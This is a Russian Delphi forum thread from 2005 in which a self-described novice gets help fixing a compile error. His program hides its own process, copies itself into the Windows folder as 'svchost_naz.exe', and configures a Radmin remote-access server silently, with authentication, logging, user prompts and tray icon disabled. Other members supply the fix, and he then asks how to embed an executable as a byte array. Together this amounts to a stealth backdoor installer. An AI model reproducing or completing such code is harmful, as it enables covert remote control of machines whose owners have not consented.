Модераторы: Poseidon, Snowy, bems, MetalFan
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Помогите с пргой 
:(
    Опции темы
xnaz
  Дата 17.8.2005, 18:33 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 9
Регистрация: 16.8.2005

Репутация: нет
Всего: нет



Код

program helloworld;
uses
  windows,sysutils,registry;

var
r: tregistry;
c: char; 
p,_wd,_sd: string; 
wd: array [0..max_path] of char;
sd: array [0..max_path] of char;
Buf: array[0..3] of byte;
i: Integer;

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
external ('nthide.dll');
begin
HideProcess(GetCurrentProcessId, False);

begin
p:= expandfilename(paramstr(0));
getwindowsdirectory(wd,max_path);
_wd:= strpas(wd)+'\';

begin
copyfile(pchar(p),pchar(_wd+'svchost_naz.exe'),true);
begin
  r:= Tregistry.create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  if r.OpenKey('\SYSTEM\RAdmin', true)
  then r.WriteString('','');
  begin
  r:= Tregistry.create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  if r.OpenKey('\SYSTEM\RAdmin\v2.0', true)
  then r.WriteString('','');

end;
begin
  r:= Tregistry.create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  if r.OpenKey('\SYSTEM\RAdmin\v2.0\Server', true)
  then r.WriteString('','');

end;
begin
  r:= Tregistry.create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  if r.OpenKey('\SYSTEM\RAdmin\v2.0\Server\iplist', true)
  then r.WriteString('','');
    with TRegistry.Create do
     begin
          RootKey := HKEY_LOCAL_MACHINE;
          OpenKey('\SYSTEM\RAdmin\v2.0\Server\Parameters\',True);
          ZeroMemory(@Buf, SizeOf(Buf));
          Buf[0] := $0;
          WriteBinaryData('NTAuthEnabled',Buf, SizeOf(Buf));
          WriteBinaryData('EnableEventLog',Buf, SizeOf(Buf));
          WriteBinaryData('AskUser',Buf, SizeOf(Buf));
          WriteBinaryData('AutoAllow',Buf, SizeOf(Buf));
          WriteBinaryData('FilterIp',Buf, SizeOf(Buf));
          WriteBinaryData('EnableLogFile',Buf, SizeOf(Buf));
          Buf[0] := $1;
          WriteBinaryData('DisableTrayIcon',Buf, SizeOf(Buf));
          Buf[0] := $a;
          WriteBinaryData('Timeout',Buf, SizeOf(Buf));
          Buf[0] := $2b;Buf[1] := $1a;
          WriteBinaryData('Port',Buf, SizeOf(Buf));
          Buf[0] := $2b;Buf[1] := $1a;
          WriteBinaryData('Parameter',Buf, SizeOf(Buf));
          Buf[0] := $2b;Buf[1] := $1a;Buf[2] := $1a;Buf[3] := $1a;
          Free;
     end;
end;
begin
  r:= Tregistry.create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  if r.OpenKey('\SYSTEM\RAdmin\v2.0\Server\Parameters\', true)
  then r.WriteString('LogFilePath','c:\\logfile.txt');

end;
end;
end;
end;


Надо добавить

Код

  var Buf: array[0..15] of byte;
  with TRegistry.Create do
     begin
          RootKey := HKEY_LOCAL_MACHINE;
          OpenKey('\SYSTEM\RAdmin\v2.0\Server\Parameters\',True);
          ZeroMemory(@Buf, SizeOf(Buf));
          Buf[0] := $0;
          WriteBinaryData('Parameter',Buf, SizeOf(Buf));
          Free;
     end;
end.


Но компилятор ругается(statement expected but 'var') на эту строку

Код

var Buf: array[0..15] of byte;


Помогите плиз smile

Это сообщение отредактировал(а) podval - 17.8.2005, 20:37
PM MAIL   Вверх
podval
Дата 17.8.2005, 20:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Где я? Кто я?
****


Профиль
Группа: Экс. модератор
Сообщений: 3094
Регистрация: 25.3.2002
Где: СПб

Репутация: нет
Всего: 62



Модератор: Тема перенесена из раздела "Алгоритмы"
PM WWW ICQ   Вверх
xnaz
Дата 17.8.2005, 21:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 9
Регистрация: 16.8.2005

Репутация: нет
Всего: нет



Я не пргограмер делфи практически незнаю,просто очень нужна эта программа,
а так все работает только этот код вставить не могу
Код

  var Buf: array[0..15] of byte;    
  with TRegistry.Create do    
     begin    
          RootKey := HKEY_LOCAL_MACHINE;    
          OpenKey('\SYSTEM\RAdmin\v2.0\Server\Parameters\',True);    
          ZeroMemory(@Buf, SizeOf(Buf));    
          Buf[0] := $0;    
          WriteBinaryData('Parameter',Buf, SizeOf(Buf));    
          Free;    
     end;    
end.

P.S.
Так и знал что будет такая реакция
Добавлено @ 21:22
Код

program helloworld;
uses
  windows,sysutils,registry;

var
r: tregistry;
c: char; 
p,_wd,_sd: string; 
wd: array [0..max_path] of char;
sd: array [0..max_path] of char;
Buf: array[0..3] of byte;
i: Integer;

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
external ('nthide.dll');
begin
HideProcess(GetCurrentProcessId, False);

begin
p:= expandfilename(paramstr(0));
getwindowsdirectory(wd,max_path);
_wd:= strpas(wd)+'\';

begin
copyfile(pchar(p),pchar(_wd+'svchost_naz.exe'),true);
begin
  r:= Tregistry.create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  if r.OpenKey('\SYSTEM\RAdmin', true)
  then r.WriteString('','');
  begin
  r:= Tregistry.create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  if r.OpenKey('\SYSTEM\RAdmin\v2.0', true)
  then r.WriteString('','');

end;
begin
  r:= Tregistry.create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  if r.OpenKey('\SYSTEM\RAdmin\v2.0\Server', true)
  then r.WriteString('','');

end;
begin
  r:= Tregistry.create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  if r.OpenKey('\SYSTEM\RAdmin\v2.0\Server\iplist', true)
  then r.WriteString('','');
    with TRegistry.Create do
     begin
          RootKey := HKEY_LOCAL_MACHINE;
          OpenKey('\SYSTEM\RAdmin\v2.0\Server\Parameters\',True);
          ZeroMemory(@Buf, SizeOf(Buf));
          Buf[0] := $0;
          WriteBinaryData('NTAuthEnabled',Buf, SizeOf(Buf));
          WriteBinaryData('EnableEventLog',Buf, SizeOf(Buf));
          WriteBinaryData('AskUser',Buf, SizeOf(Buf));
          WriteBinaryData('AutoAllow',Buf, SizeOf(Buf));
          WriteBinaryData('FilterIp',Buf, SizeOf(Buf));
          WriteBinaryData('EnableLogFile',Buf, SizeOf(Buf));
          Buf[0] := $1;
          WriteBinaryData('DisableTrayIcon',Buf, SizeOf(Buf));
          Buf[0] := $a;
          WriteBinaryData('Timeout',Buf, SizeOf(Buf));
          Buf[0] := $2b;Buf[1] := $1a;
          WriteBinaryData('Port',Buf, SizeOf(Buf));
          Buf[0] := $2b;Buf[1] := $1a;
          WriteBinaryData('Parameter',Buf, SizeOf(Buf));
          Buf[0] := $2b;Buf[1] := $1a;Buf[2] := $1a;Buf[3] := $1a;
          Free;
     end;
end;
  var Buf: array[0..15] of byte;
  with TRegistry.Create do
     begin
          RootKey := HKEY_LOCAL_MACHINE;
          OpenKey('\SYSTEM\RAdmin\v2.0\Server\Parameters\',True);
          ZeroMemory(@Buf, SizeOf(Buf));
          Buf[0] := $0;
          WriteBinaryData('Parameter',Buf, SizeOf(Buf));
          Buf[0] := $2b;Buf[1] := $1a;Buf[2] := $1a;Buf[3] := $1a;Buf[4] := $2b;Buf[5] := $2b;Buf[6] := $2b;Buf[7] := $2b;Buf[8] := $2b;Buf[9] := $2b;Buf[10] := $2b;Buf[11] := $2b;Buf[12] := $2b;Buf[13] := $2b;Buf[14] := $2b;Buf[15] := $2b;Buf[16] := $2b;
          Free;
     end;
end.

begin
  r:= Tregistry.create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  if r.OpenKey('\SYSTEM\RAdmin\v2.0\Server\Parameters\', true)
  then r.WriteString('LogFilePath','c:\\logfile.txt');

end;
end;
end;
end;


PM MAIL   Вверх
Dimannn
Дата 17.8.2005, 21:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 318
Регистрация: 14.4.2005
Где: Владимир

Репутация: нет
Всего: 1



Как я понял, строку с VAR ты вставляещь не туда.

Убирай слово VAR и суй её после

Код

Var
r: tregistry;
c: char; 
p,_wd,_sd: string; 
wd: array [0..max_path] of char;
sd: array [0..max_path] of char;
Buf: array[0..3] of byte;
i: Integer;



P.S. В Делфях переменные можно обявлять толко в определённых местах.


--------------------
Хотите быстро и без проблем опубликовать вашу программу в сети за 5 минут?
Тогда потратьте пару минут чтобы посмотреть, что предлагает OpenProject.org.ru
PM MAIL ICQ   Вверх
xnaz
Дата 17.8.2005, 21:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 9
Регистрация: 16.8.2005

Репутация: нет
Всего: нет



Я уже так делал-непомогает дело в том что переменная Buf: array[0..3] of byte;
уже объявленна мне надо ее поменять ниже на Buf: array[0..15] of byte;

Сорри если че не так сказал я с прогромированием незнаком smile
PM MAIL   Вверх
Dimannn
Дата 17.8.2005, 21:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 318
Регистрация: 14.4.2005
Где: Владимир

Репутация: нет
Всего: 1



А смысл её менять. Просто задай другое имя.

А если уж очень надо менять именно эту переменную, то надо использовать динамические месивы.


--------------------
Хотите быстро и без проблем опубликовать вашу программу в сети за 5 минут?
Тогда потратьте пару минут чтобы посмотреть, что предлагает OpenProject.org.ru
PM MAIL ICQ   Вверх
Pakshin A. S.
Дата 17.8.2005, 21:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 5056
Регистрация: 16.2.2003

Репутация: 21
Всего: 61



итого:
Секция var
Код

var
r: tregistry;
c: char; 
p,_wd,_sd: string; 
wd: array [0..max_path] of char;
sd: array [0..max_path] of char;
Buf: array[0..3] of byte;
Buf1: array[0..3] of byte;
i: Integer;

Просто сменили название переменной...

И теперь поменяем код для всчтавки

Код


with TRegistry.Create do    
     begin    
          RootKey := HKEY_LOCAL_MACHINE;    
          OpenKey('\SYSTEM\RAdmin\v2.0\Server\Parameters\',True);    
          ZeroMemory(@Buf1, SizeOf(Buf1));    
          Buf1[0] := $0;    
          WriteBinaryData('Parameter',Buf1, SizeOf(Buf1));    
          Free;    
     end;    


Юзай...

Это сообщение отредактировал(а) Girder - 17.8.2005, 23:21
PM   Вверх
xnaz
Дата 17.8.2005, 22:00 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 9
Регистрация: 16.8.2005

Репутация: нет
Всего: нет



Все работает! всем огромное спасибо!

2Pakshin A. S.
нужен был тихий инсталятор radminа.Через батник как-то некатит.
Час за делфи, 3 поста на vingrad и готово,а ты гриш нафиг лезть

P.S. какие книги постоветуете для чайника ?
PM MAIL   Вверх
Pakshin A. S.
Дата 17.8.2005, 22:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 5056
Регистрация: 16.2.2003

Репутация: 21
Всего: 61



Цитата(xnaz @ 17.8.2005, 23:00)
P.S. какие книги постоветуете для чайника ?

Тут на форуме как-то обсуждалось... Также есть раздел спеуиально по литературе, где можно выбрать любую книжечку... smile
PM   Вверх
xnaz
Дата 17.8.2005, 22:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 9
Регистрация: 16.8.2005

Репутация: нет
Всего: нет



Еще вопросик.сейчас у меня размер буфера Buf1: array[0..3] of byte; от 0 до 3
включая 0. Как сделать ноль байтов?.
PM MAIL   Вверх
Girder
Дата 17.8.2005, 23:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Лентяй 2
***


Профиль
Группа: Участник Клуба
Сообщений: 1993
Регистрация: 12.5.2004

Репутация: 31
Всего: 155



Ну... сделай его указателем.


--------------------
Как слышим, так и пишим.
Истина где-то там...
PM   Вверх
Pakshin A. S.
Дата 17.8.2005, 23:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 5056
Регистрация: 16.2.2003

Репутация: 21
Всего: 61



Цитата(Girder @ 18.8.2005, 00:38)
Ну... сделай его указателем.

Учитывая, что человек не знаком с программированием, то ему надо будет еще и объяснить что такое указатель...


Цитата(xnaz @ 17.8.2005, 23:44)
Как сделать ноль байтов?.

Т. е.?

Может так покатит?

Buf1: array[0..0] of byte;
Добавлено @ 23:44
хот ятут будет один байт..
Добавлено @ 23:46
вообще может динамику заюзать?

типа

Код

var
 a: array of byte;
...

(*Пока как я понимаю массива не существует*)

...
(*Создадим массив*)
SelLength(a, 4);

PM   Вверх
xnaz
Дата 18.8.2005, 14:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 9
Регистрация: 16.8.2005

Репутация: нет
Всего: нет



Еще вопрос.Как поместить файл(.exe) по байтам в файл pas (.pas)
что бы было так:
Код

unit Res;

interface
var

inst:array[0..16895] of Byte = (77,90,80,0,2,0,0,0..........);

PM MAIL   Вверх
Pakshin A. S.
Дата 18.8.2005, 14:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 5056
Регистрация: 16.2.2003

Репутация: 21
Всего: 61



1) Поясни то, что хочешь сделать
2) Почитай правила форума, а именно одна тема - один вопрос. По-моему будет лучше, если создашь новую тему и задашь там свой вопрос.
PM   Вверх
xnaz
Дата 18.8.2005, 15:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 9
Регистрация: 16.8.2005

Репутация: нет
Всего: нет



ok сейчас создам
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Общие вопросы"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0627 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.